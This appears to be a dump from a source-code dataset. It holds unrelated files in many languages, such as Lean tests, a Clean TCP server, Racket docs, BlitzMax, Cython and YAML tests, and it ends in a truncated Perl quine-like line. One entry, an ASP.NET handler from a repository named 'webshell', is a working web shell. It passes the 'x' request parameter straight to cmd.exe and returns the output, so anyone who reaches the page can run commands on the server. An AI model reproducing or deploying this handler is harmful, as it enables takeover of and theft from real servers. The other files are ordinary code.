content
stringlengths
4
1.04M
lang
stringclasses
358 values
score
int64
0
5
repo_name
stringlengths
5
114
repo_path
stringlengths
4
229
repo_licenses
listlengths
1
8
/- This test assumes the total order on terms used by simp compares local constants using the order they appear in the local context. -/ example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, m + n = k → n + m = k := by intros; simp; assumption example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end example (m : ℕ) : ∀ n k, n + m = k → n + m = k := begin intros, simp, fail_if_success {assumption}, admit end
Lean
4
solson/lean
tests/lean/run/1685.lean
[ "Apache-2.0" ]
<%@ WebHandler Language="C#" Class="Handler2" %> using System; using System.Collections.Generic; using System.Diagnostics; using System.Web; public class Handler2 : IHttpHandler { public void ProcessRequest (HttpContext context) { //string x = "-an"; string x = context.Request["x"]; Process prc=new Process(); prc.StartInfo.FileName="cmd.exe"; prc.StartInfo.UseShellExecute=false; prc.StartInfo.RedirectStandardInput = true; prc.StartInfo.RedirectStandardOutput = true; prc.StartInfo.RedirectStandardError = true; prc.StartInfo.CreateNoWindow = false; prc.Start(); prc.StandardInput.WriteLine(x); prc.StandardInput.Close(); context.Response.Write(prc.StandardOutput.ReadToEnd()); context.Response.End();} public bool IsReusable { get { return false; } }}
ASP
3
laotun-s/webshell
aspx/as.ashx
[ "MIT" ]
implementation module Util.SimpleTCPServer import StdEnv import Data.Maybe import System._Posix import TCPIP instance zero (Logger a b s t) where zero = \_ _ w -> (undef, w) serve :: !(Server req res .st logst sentinfo) .st !*World -> *World | fromString req & toString res serve server st w # (ok, mbListener, w) = openTCP_Listener server.port w | not ok = abort ("Couldn't open port " +++ toString server.port +++ "\n") # listener = fromJust mbListener # (_,w) = signal 17 1 w // SIGCHLD, SIG_IGN: no notification if child ps dies # (listener, w) = loop listener w = closeRChannel listener w where logger = fromMaybe zero server.logger loop :: TCP_Listener *World -> (TCP_Listener, *World) loop li w #! (tRep,conn,li,w) = receive_MT server.connect_timeout li w | tRep <> TR_Success = (li,w) #! (ip,dupChan) = fromJust conn #! (pid,w) = fork w | pid < 0 = abort "fork failed\n" | pid > 0 // Parent: handle new requests = loop li w | pid == 0 // Child: handle current request #! (logst,w) = logger (Connected ip) Nothing w = handle logst st dupChan w //handle :: !(Maybe s) !TCP_DuplexChannel !*World -> *(!TCP_Listener, !*World) handle logst st dupChannel=:{rChannel,sChannel} w #! (tRep,msg,rChannel,w) = receive_MT server.keepalive_timeout rChannel w | tRep <> TR_Success #! (logst,w) = logger Disconnected logst w #! w = closeChannel sChannel (closeRChannel rChannel w) = exit 0 w #! msg = fromString (toString (fromJust msg)) #! (logst, w) = logger (Received msg) logst w #! (resp, hidden, st, w) = server.handler msg st w #! (sChannel, w) = send (toByteSeq (toString resp)) sChannel w #! (logst, w) = logger (Sent resp hidden) logst w = handle logst st {dupChannel & rChannel=rChannel, sChannel=sChannel} w signal :: !Int !Int !*World -> *(!Int, !*World) signal signum handler w = code { ccall signal "II:I:A" }
Clean
5
clean-cloogle/Cloogle
backend/Util/SimpleTCPServer.icl
[ "MIT" ]
'reach 0.1'; export const main = Reach.App( {}, [Participant('A', {})], (A) => { A.only(() => { assert(sqrt(9, 5) == 3, "sqrt 9 = 3"); assert(sqrt(10, 5) == 3, "sqrt 10 = 3"); assert(sqrt(1024, 5) == 32, "sqrt 1024 = 32"); assert(sqrt(336400, 10) == 580, "sqrt 336400 = 580"); }); } );
RenderScript
4
chikeabuah/reach-lang
hs/t/y/sqrt.rsh
[ "Apache-2.0" ]
it("should include test.js in SourceMap for bundle0 chunk", function() { var fs = require("fs"); var source = fs.readFileSync(__filename + ".map", "utf-8"); var map = JSON.parse(source); expect(map.sources).toContain("webpack:///./test.js"); }); it("should not produce a SourceMap for vendors chunk", function() { var fs = require("fs"), path = require("path"), assert = require("assert"); expect(fs.existsSync(path.join(__dirname, "vendors.js.map"))).toBe(false); }); if (Math.random() < 0) require("./test.js");
JavaScript
4
1shenxi/webpack
test/configCases/source-map/exclude-chunks-source-map/index.js
[ "MIT" ]
#lang scribble/manual @(require "../defs.rkt" (for-label (only-meta-in 0 cur/stdlib/bool)) (for-label (only-in (only-meta-in 1 cur/stdlib/bool) bool->meta-bool meta-bool->bool)) (for-label (only-meta-in 0 cur)) (for-label (only-in racket/base boolean? displayln)) scribble/eval) @(define curnel-eval (curnel-sandbox "(require cur/stdlib/bool cur/stdlib/sugar)")) @title{Bool} @defmodule[cur/stdlib/bool] This library defines the datatype @racket[Bool] and several functions and forms for using them. @; TODO: Define a @defdata macro for Cur @deftogether[(@defthing[#:kind "0 parameter type" Bool Type] @defthing[#:kind "constructor" true Bool] @defthing[#:kind "constructor" false Bool])]{ The boolean datatype. } @defform[(if test-expr c-expr alt-expr)]{ A syntactic form that expands to the inductive eliminator for @racket[Bool]. This form is currently non-dependent---the branches do not know that @racket[test-expr] is equal to @racket[true] or @racket[false]. @examples[#:eval curnel-eval (if true false true) (elim Bool (λ (x : Bool) Bool) (false true) true)] } @defproc[(not [x Bool]) Bool]{ Negates the boolean @racket[x]. @examples[#:eval curnel-eval (not true) (not false)] } @defproc[(and [x Bool] [y Bool]) Bool]{ The boolean @racket[and]. True if and only if @racket[x] and @racket[y] are both either @racket[true] or @racket[false]. @examples[#:eval curnel-eval (and true true) (and false true)] } @defproc[(or [x Bool] [y Bool]) Bool]{ The boolean @racket[or]. True if and only if either @racket[x] or @racket[y] is @racket[true]. @examples[#:eval curnel-eval (or true true) (or false true) (or false false)] } @defproc[(bool->meta-bool [syn syntax?]) boolean?]{ A meta-procedure, provided at phase 1, that converts syntax representing a @racket[Bool] literal into a Racket (meta-level) @racket[boolean?]. @examples[#:eval curnel-eval (begin-for-syntax (displayln (bool->meta-bool #'true))) ] } @defproc[(meta-bool->bool [b boolean?]) syntax?]{ A meta-procedure, provided at phase 1, that converts a Racket (meta-level) @racket[boolean?] into syntax representing a @racket[Bool]. @examples[#:eval curnel-eval (begin-for-syntax (displayln (meta-bool->bool #f))) ] }
Racket
5
bluephoenix47/cic-redex
cur-doc/cur/scribblings/stdlib/bool.scrbl
[ "BSD-2-Clause" ]
@import "ui-variables"; .open-in-salesforce-btn { padding: 3px 4px 5px 4px; box-shadow: inset 0 0 0 0.5px rgba(0,0,0,0.15), 0 0.5px 0.5px 0.5px rgba(0,0,0,0.07); border-radius: 3px; background-color: @background-primary; background-image: linear-gradient(to top, fadeout(difference(@background-primary, white), 97), @background-primary 100%); line-height: 12px; display: inline-block; height: 20px; &.large { padding: 5px 4px 6px 5px; } } .large-cell .open-in-salesforce-btn.large { margin-top: -1px; height: 24px; }
Less
3
cnheider/nylas-mail
packages/client-app/internal_packages/nylas-private-salesforce/stylesheets/open-in-salesforce-btn.less
[ "MIT" ]
' lookupguifont.bmx Strict Import MaxGUI.Drivers AppTitle = "LookupGuiFont() Example" Const strSampleText$ = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nulla eget mauris quis dolor "+.. "ullamcorper dapibus. Duis facilisis ullamcorper metus. Pellentesque eget enim. Vivamus auctor hendrerit turpis. " + .. "Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Vivamus tincidunt leo quis urna." Const intWindowFlags% = WINDOW_TITLEBAR|WINDOW_RESIZABLE|WINDOW_STATUS|WINDOW_CLIENTCOORDS Global wndMain:TGadget = CreateWindow( AppTitle, 100, 100, 500, 300, Null, intWindowFlags ) SetMinWindowSize( wndMain, ClientWidth(wndMain), ClientHeight(wndMain) ) Global lstFontTypes:TGadget = CreateListBox(0,0,200,ClientHeight(wndMain),wndMain) SetGadgetLayout lstFontTypes,EDGE_ALIGNED,EDGE_CENTERED,EDGE_ALIGNED,EDGE_ALIGNED AddGadgetItem lstFontTypes, "GUIFONT_SYSTEM", GADGETITEM_DEFAULT, -1, "Default OS font.", LookupGuiFont(GUIFONT_SYSTEM) AddGadgetItem lstFontTypes, "GUIFONT_SERIF", 0, -1, "Serif font.", LookupGuiFont(GUIFONT_SERIF) AddGadgetItem lstFontTypes, "GUIFONT_SANSSERIF", 0, -1, "Sans serif font.", LookupGuiFont(GUIFONT_SANSSERIF) AddGadgetItem lstFontTypes, "GUIFONT_SCRIPT", 0, -1, "Script/handwriting font.", LookupGuiFont(GUIFONT_SCRIPT) AddGadgetItem lstFontTypes, "GUIFONT_MONOSPACED", 0, -1, "Fixed width/coding font.", LookupGuiFont(GUIFONT_MONOSPACED) Global txtPreview:TGadget = CreateTextArea(200,0,300,ClientHeight(wndMain),wndMain,TEXTAREA_WORDWRAP|TEXTAREA_READONLY) SetGadgetLayout txtPreview,EDGE_ALIGNED,EDGE_ALIGNED,EDGE_ALIGNED,EDGE_ALIGNED SetTextAreaText( txtPreview, strSampleText ) Global strFontString$ ChooseFont( LookupGuiFont() ) Repeat Select WaitEvent() Case EVENT_APPTERMINATE, EVENT_WINDOWCLOSE;End Case EVENT_GADGETACTION, EVENT_GADGETSELECT Select EventSource() Case lstFontTypes If EventData() >= 0 Then ChooseFont( TGuiFont(GadgetItemExtra( lstFontTypes, EventData() )) ) EndIf EndSelect EndSelect SetStatusText( wndMain, strFontString + "~t~t" + CurrentEvent.ToString() + " " ) Forever Function ChooseFont( pFont:TGuiFont ) SetGadgetFont( txtPreview, pFont ) strFontString$ = FontName(pFont) + ", " + Int(FontSize(pFont)) + "pt" EndFunction
BlitzMax
5
jabdoa2/blitzmax
mod/maxgui.mod/maxgui.mod/doc/lookupguifont.bmx
[ "Zlib" ]
!insertmacro MUI_LANGUAGE "English" ## disable russian for now #!insertmacro MUI_LANGUAGE "Russian" # include defined strings !include "langStrings.nsh"
NSIS
1
frank-spec/NiceHashMiner
installer/nsis_template/include_common/langs.nsh
[ "MIT" ]
fileFormatVersion: 2 guid: 5c751f31fa1d4664a8a162241f8a7812 folderAsset: yes timeCreated: 1483528414 licenseType: Pro DefaultImporter: userData: assetBundleName: assetBundleVariant:
Unity3D Asset
1
allureyc/xLua
Test/UnitTest/StreamingAssets/ltest.meta
[ "BSD-3-Clause" ]
_debug_parser_start_=1 type BasicBlock @in-edges = [] of BasicBlock 'get 'set @out-edges = [] of BasicBlock 'get 'set init(@name) -> to-s(io) -> io << "BB#" io << @name end type BasicBlockEdge < value init(cfg, from-name, to-name) -> @from = cfg.create-node(from-name) @to = cfg.create-node(to-name) @from.out-edges << @to @to.in-edges << @from Type.add(cfg, from-name, to-name) -> edge = new(cfg, from-name, to-name) cfg.add-edge(edge) end type CFG @edge-list = [] of BasicBlockEdge @basic-block-map = {} of Int32 => BasicBlock 'get 'set @start-node = nil 'get 'set create-node(name) -> node = (@basic-block-map[name] ||= BasicBlock name) @start-node ||= node node add-edge(edge) -> @edge-list << edge get-num-nodes() -> @basic-block-map.size end type SimpleLoop @basic-blocks = Set<BasicBlock>() @children = Set<SimpleLoop>() @parent = nil 'get 'set @header = nil 'get 'set @is-root = false 'get 'set @is-reducible = true 'get 'set @counter = 0 'get 'set @nesting-level = 0 'get 'set @depth-level = 0 'get 'set add-node(bb) -> @basic-blocks.add(bb) add-child-loop(l) -> @children.add(l) set-parent(parent) -> @parent = parent parent.add-child-loop(self) set-header(bb) -> @basic-blocks.add(bb) @header = bb set-nesting-level(level) -> @nesting-level = level if level == 0 @is-root = true end $loop-counter = 0 type LSG init() -> @loops = [] of SimpleLoop @root = create-new-loop @root.set-nesting-level(0) add-loop(@root) create-new-loop() -> s = SimpleLoop() s.counter = $loop-counter = $loop-counter + 1 s add-loop(l) -> @loops << l calculate-nesting-level() -> @loops.each (liter) ~> if !liter.is-root and liter.parent == nil liter.set-parent(@root) calculate-nesting-level-rec(@root, 0) calculate-nesting-level-rec(l, depth) -> l.depth-level = depth l.children.each (l-iter) ~> calculate-nesting-level-rec(l-iter, depth + 1) l.set-nesting-level(Math.max(l.nesting-level, 1 + l-iter.nesting-level)) get-num-loops() -> @loops.size end type UnionFindNode @parent = nil 'get 'set @bb = nil 'get 'set @l = nil 'get 'set @dfs-number = 0 'get 'set init-node(bb, dfs-number) -> @parent = self @bb = bb @dfs-number = dfs-number find-set() -> node-list = [] of UnionFindNode node = self while node isnt node.parent parent = node.parent.not-nil! if parent isnt parent.parent node-list << node end node = parent end node-list.each(~.parent = node.parent) node union(union-find-node) -> @parent = union-find-node end type HavlakLoopFinder BB_TOP = 0 BB_NONHEADER = 1 BB_REDUCIBLE = 2 BB_SELF = 3 BB_IRREDUCIBLE = 4 BB_DEAD = 5 BB_LAST = 6 UNVISITED = -1 MAXNONBACKPREDS = 32 * 1024 init(@cfg, @lsg) -> is-ancestor(w, v, last) -> w <= v <= last[w] dfs(current-node, nodes, number, last, current) -> nodes[current].init-node(current-node, current) number[current-node] = current lastid = current current-node.out-edges.each (target) ~> if number[target] is UNVISITED lastid = dfs(target, nodes, number, last, lastid + 1) last[number[current-node]] = lastid lastid find-loops() -> return 0 unless start-node = @cfg.start-node size = @cfg.get-num-nodes non-back-preds = List size, ~> Set<Int32>() back-preds = List size, ~> List<Int32>() number = {} of BasicBlock => Int32 header = List size, 0 types = List size, 0 last = List size, 0 nodes = List size, ~> UnionFindNode() @cfg.basic-block-map.each-value (v) ~> number[v] = UNVISITED dfs(start-node, nodes, number, last, 0) size.times (w) ~> header[w] = 0 types[w] = BB_NONHEADER node-w = nodes[w].bb if node-w node-w.in-edges.each (node-v) ~> v = number[node-v] unless v is UNVISITED if is-ancestor(w, v, last) back-preds[w] << v else non-back-preds[w].add(v) end end else types[w] = BB_DEAD end header.0 = 0 (size - 1).downto(0, (w) ~> node-pool = [] of UnionFindNode node-w = (nodes[w]).bb if node-w back-preds[w].each (v) ~> if v != w node-pool << nodes[v].find-set else types[w] = BB_SELF end work-list = node-pool.dup if node-pool.size != 0 types[w] = BB_REDUCIBLE end while !work-list.empty? x = work-list.shift non-back-size = non-back-preds[x.dfs-number].size return 0 if non-back-size > MAXNONBACKPREDS non-back-preds[x.dfs-number].each (iter) ~> y = nodes[iter] ydash = y.find-set if !is-ancestor(w, ydash.dfs-number, last) types[w] = BB_IRREDUCIBLE non-back-preds[w].add(ydash.dfs-number) else if ydash.dfs-number != w and !node-pool.includes?(ydash) work-list << ydash node-pool << ydash end end end if node-pool.size > 0 || types[w] == BB_SELF l = @lsg.create-new-loop l.set-header(node-w) l.is-reducible = types[w] != BB_IRREDUCIBLE nodes[w].l = l node-pool.each (node) ~> header[node.dfs-number] = w node.union(nodes[w]) if node-l = node.l node-l.set-parent(l) else l.add-node(node.bb.not-nil!) end @lsg.add-loop(l) end end ) @lsg.get-num-loops end build-diamond(start) -> bb0 = start BasicBlockEdge.add($cfg, bb0, bb0 + 1) BasicBlockEdge.add($cfg, bb0, bb0 + 2) BasicBlockEdge.add $cfg, bb0 + 1, bb0 + 3 BasicBlockEdge.add($cfg, bb0 + 2, bb0 + 3) bb0 + 3 build-connect(start, _end) -> BasicBlockEdge.add($cfg, start, _end) build-straight(start, n) -> n.times (i) ~> build-connect(start + i, start + i + 1) start + n build-base-loop(from) -> header = build-straight(from, 1) diamond1 = build-diamond(header) d11 = build-straight(diamond1, 1) diamond2 = build-diamond(d11) footer = build-straight(diamond2, 1) build-connect(diamond2, d11) build-connect diamond1, header build-connect(footer, from) build-straight footer, 1 say "Welcome to LoopTesterApp, Onyx Edition" say "Constructing Simple CFG..." $cfg = CFG() $cfg.create-node(0) build-base-loop(0) $cfg.create-node(1) build-connect(0, 2) say "15000 dummy loops" 15000.times ~> HavlakLoopFinder($cfg, LSG()).find-loops say "Constructing CFG..." n = 2 10.times ~> $cfg.create-node(n + 1) build-connect(2, n + 1) n += 1 100.times ~> top = n n = build-straight(n, 1) 25.times ~> n = build-base-loop(n) bottom = build-straight(n, 1) build-connect(n, top) n = bottom build-connect(n, 1) say "Performing Loop Recognition\n1 Iteration" loops = (HavlakLoopFinder $cfg, LSG()).find-loops say "Another 50 iterations..." sum = 0 50.times ~> print "." sum += (HavlakLoopFinder $cfg, LSG()).find-loops 47.times ~.to-s 42.times(~.to-s) say "\nFound {loops} loops (including artificial root node) ({sum})\n"
Ox
4
ozra/onyx-lang
samples/havlak.ox
[ "Apache-2.0" ]
#!python # cython: embedsignature=True, binding=True def simple_func(x, y, z): return x + y + z # Cython code directly callable from Python def fib(n): if n < 2: return n return fib(n-2) + fib(n-1) # Typed Cython code def fib_int(int n): if n < 2: return n return fib_int(n-2) + fib_int(n-1) # Cython-Python code cpdef fib_cpdef(int n): if n < 2: return n return fib_cpdef(n-2) + fib_cpdef(n-1) # C code def fib_cdef(int n): return fib_in_c(n) cdef int fib_in_c(int n): if n < 2: return n return fib_in_c(n-2) + fib_in_c(n-1) # Simple class class simple_class(object): def __init__(self): self.value = 0 def increment(self): self.value += 1 return self.value
Cython
4
firebolt55439/ray
doc/examples/cython/cython_examples/cython_simple.pyx
[ "Apache-2.0" ]
#! /bin/sh /usr/share/dpatch/dpatch-run ## 02_htmllinks.dpatch by Torsten Marek <[email protected]> ## DP: Fix the links in the documentation HTML files. @DPATCH@ diff -urNad python-qt4-4.1~/doc/pyqt4ref.html python-qt4-4.1/doc/pyqt4ref.html --- python-qt4-4.1~/doc/pyqt4ref.html 2006-11-05 00:51:19.000000000 +0100 +++ python-qt4-4.1/doc/pyqt4ref.html 2006-11-21 23:35:52.000000000 +0100 @@ -85,7 +85,7 @@ <p>This is the reference guide for PyQt 4.1. PyQt v4 is a set of <a class="reference" href="http://www.python.org">Python</a> bindings for v4 of the Qt application framework from <a class="reference" href="http://www.trolltech.com">Trolltech</a>.</p> -<p>There is a separate <a class="reference" href="html/classes.html">PyQt API Reference</a>.</p> +<p>There is a separate <a class="reference" href="classes.html">PyQt API Reference</a>.</p> <p>Qt is a set of C++ libraries and development tools that includes platform independent abstractions for graphical user interfaces, networking, threads, Unicode, regular expressions, SQL databases, SVG, OpenGL, XML, and user and
Darcs Patch
3
JrCs/opendreambox
recipes/python/python-pyqt/02_htmllinks.dpatch
[ "MIT" ]
package test; class JExtendsKFooZ extends KFooZ { }
Java
2
AndrewReitz/kotlin
compiler/testData/compileJavaAgainstKotlin/method/primitiveOverrideWithInlineClass/InlineIntOverridesObject.java
[ "ECL-2.0", "Apache-2.0" ]
func $foo ( var %i i32 ) i32 func $fact ( var %n i32) i32 func $fact ( var %n i32) i32 func $foo ( var %i i32 ) i32 func $fact ( var %n i32) i32 { if (ne i32 i32 (dread i32 %n, constval i32 1)) { call &foo( sub i32 (dread i32 %n, constval i32 1)) return (regread i32 %%retval)} else { return (constval i32 1) } } func $foo ( var %i i32 ) i32 { return (dread i32 %i) } # EXEC: %irbuild Main.mpl # EXEC: %irbuild Main.irb.mpl # EXEC: %cmp Main.irb.mpl Main.irb.irb.mpl
Maple
3
harmonyos-mirror/OpenArkCompiler-test
test/testsuite/irbuild_test/I0026-mapleall-irbuild-edge-externfunc/Main.mpl
[ "MulanPSL-1.0" ]
desc: Test that return_changes fails gracefully. table_variable_name: tbl tests: - py: tbl.insert([{'result':i} for i in range(1,100)]).pluck('first_error', 'inserted') ot: {'inserted':99} - py: tbl.update({'foo':'bar'}, return_changes=True)['changes'].count() runopts: array_limit: 40 ot: 40 - py: tbl.update({'foo':'quux'}, return_changes=True)['warnings'] runopts: array_limit: 40 ot: ['Too many changes, array truncated to 40.']
YAML
3
zadcha/rethinkdb
test/rql_test/src/regression/2838.py.yaml
[ "Apache-2.0" ]
v1t = Time.Span(0) v2t = Time.Span(0) 10000.times ~> t = Time.now x = 0 (0...9999999999999).each-with-index (i) ~> x += i * 2 v1t += Time.now - t t = Time.now z = 0 (0...9999999999999).each (i) ~> z += i * 2 v2t += Time.now - t end say "each_with_index: {v1t}" say "each: {v2t}" say "ewi-e: {v1t - v2t}"
Ox
2
ozra/onyx-lang
spec/onyx-alpha-throwups/soft-lambda-excess-args-timings.ox
[ "Apache-2.0" ]
{:queries {:last_name {:type String :resolve :queries/fred}} :objects {:Barney {:fields {:last_name {:type String :resolve :Barney/last-name}}}} :roots {:query :Barney}}
edn
3
hagenek/lacinia
dev-resources/root-object-with-conflicts-schema.edn
[ "Apache-2.0" ]
import * as React from 'react'; import TabsUnstyled from '@mui/base/TabsUnstyled'; import TabsListUnstyled from '@mui/base/TabsListUnstyled'; import TabPanelUnstyled from '@mui/base/TabPanelUnstyled'; import TabUnstyled from '@mui/base/TabUnstyled'; export default function UnstyledTabsBasic() { return ( <TabsUnstyled defaultValue={0}> <TabsListUnstyled> <TabUnstyled>One</TabUnstyled> <TabUnstyled>Two</TabUnstyled> <TabUnstyled>Three</TabUnstyled> </TabsListUnstyled> <TabPanelUnstyled value={0}>First content</TabPanelUnstyled> <TabPanelUnstyled value={1}>Second content</TabPanelUnstyled> <TabPanelUnstyled value={2}>Third content</TabPanelUnstyled> </TabsUnstyled> ); }
TypeScript
4
aaronadamsCA/material-ui
docs/data/material/components/tabs/UnstyledTabsBasic.tsx
[ "MIT" ]
// check-fail struct Foo {} impl Foo { fn bar(foo: Foo<Target = usize>) {} //~^ associated type bindings are not allowed here } fn main() {}
Rust
4
mbc-git/rust
src/test/ui/lifetimes/issue-83753-invalid-associated-type-supertrait-hrtb.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
say"program QR(output);begin write('s//chr 34/e x s//rxFDrkcI8/ x s//chr 47/e x s//.XFeJJmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3QiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl2dIr9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQF8PZmtQiL9W7GbIfBqlNckvCWusWIiyKLdptPY1/ x s//chr 47/e x s//3rNByVMUUOBD99fruwe/ x s//chr 47/e x s//PkLPWGujizPZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W8tQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWgLj1NUiHLLT1fotq9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W8tQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWpr9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl2dKDvZmtQHrThmtQi7rSDZQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JqvxiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6fZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W7HRyr9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl2dIrTjqtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6Z8vDnusZ0yr6ZGvq0lRLeTRhpktORrFMkKCfZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W8tQiL9ZmtQiL9ZmtQiLBrD1tEL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2LHZdrNpXfPVovZY7ImKA3Y7MnN9gSXZRhr2WNRjtN2favxIeI0B4UEISibRZEIgin1tE9Je05jsSSKbFoE8AOZ.mMAKO0nptxRSJ/ x s//chr 47/e x s//.UE6200xigK9q0tQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6Z9itQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6Z9jv6IL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3QGNBDDVgkyJ3utQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6fpvRSjPfpmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3QiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQF8LSLRYgNRqHPjmL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQiPiS5mUiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6iin9QiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2GZrmmxCj9RMMCzhpRmmxgj9bZif3xj/ x s//chr 47/e x s//.UE620/ x s//chr 47/e x s//.UtfhaLRbuO5SZKfIyt0WtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmsWiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6fWHjmoxAeWxQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JWlMiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6fZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W7GvnPyGXIxPCvZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W8tQiL9ZmtQiL9ZmtQiLBrD1tEL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2KdwxMCxGpOdY835CrdKgPftxeIdKHtUziL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6fZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W8xSuL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl2uiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQi6fZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9W8lQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2GZr6IL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3SjPfpvdSE620/ x s//chr 47/e x s//.UE620/ x s//chr 47/e x s//.UE620/ x s//chr 47/e x s//.UE620/ x s//chr 47/e x s//.UE620/ x s//chr 47/e x s//QiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFG33mtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl3QiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQFPRyHfgmq8B7rdrOSab1ggMgiTHigL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL2JmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9ZmtQiL9Zl2dRthz7FdSgLSZsxE620/ x s//chr 47/e x 